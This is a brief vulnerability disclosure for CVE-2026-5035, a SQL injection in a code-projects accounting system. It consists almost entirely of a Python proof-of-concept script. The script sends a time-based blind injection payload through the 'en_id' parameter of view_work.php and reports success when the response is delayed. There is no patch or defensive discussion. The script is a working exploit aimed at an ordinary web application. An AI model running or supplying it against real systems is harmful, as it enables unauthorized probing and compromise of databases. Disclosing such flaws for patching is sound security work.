CVE-2026-5035: code-projects会计系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/view_work.php" # Malicious payload demonstrating SQL Injection via 'en_id' parameter # Example: Testing for time-based blind injection payload = { "en_id": "1' AND (SELECT SLEEP(5))-- -" } try: print("[*] Sending SQL Injection payload...") response = requests.get(target_url, params=payload, timeout=10) # Check if the response time indicates successful execution (e.g., > 5 seconds) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection is successful.") else: print("[-] Vulnerability not detected or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")